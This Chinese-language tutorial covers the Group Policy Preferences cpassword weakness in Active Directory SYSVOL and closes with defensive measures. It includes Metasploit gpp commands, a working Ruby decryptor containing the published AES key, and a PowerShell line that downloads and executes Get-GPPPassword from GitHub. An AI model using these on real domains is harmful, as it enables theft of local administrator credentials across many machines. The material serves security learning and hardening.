- 一、sysvol目录
SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享。SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。SYSVOL包含登录脚本,组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。所有域组策略都存储在这里:SYSVOL\domain\Policies,下图是创建组策略之前
注意:C:\Windows\SYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的
在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员面。通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。
- 二、域控的组策略中新建dc_admin组策略
编辑新建的dc_admin ,如下进行新建
将域中每个计算机的本地administrator用户更名为 admin,并且设置新的密码Aa123456
确定后添加domain computers
更新组策略
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。可通过在SYSVOL中搜索,可以找到Groups.xml文件。
通过详细信息中的唯一id定位
下图是创建组策略之后
最终找到如下:C:\Windows\SYSVOL\domain\Policies\{id}\Machine\Preferences\Groups
Groups.xml中的内容为:
cpassword:6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk
- 三、 组策略密码解密
1、MSF下的GGP解密
msf > use post/windows/gather/credentials/gpp
msf>post/windows/gather/credentials/gpp>sessions
msf>post/windows/gather/credentials/gpp> set SESSION 1
msf>post/windows/gather/credentials>show options
msf>post/windows/gather/credentials/gpp> run
2、 ruby脚本
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
3、kali
4、powershell脚本:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
- 四、防御措施:
在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
设置共享文件夹SYSVOL的访问权限
将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
不要把密码放在所有域用户都有权访问的文件中
如果需要更改域中机器的本地管理员密码,建议使用LAPS
参考文献:关于windows组策略首选项提权 - Yangsir34 - 博客园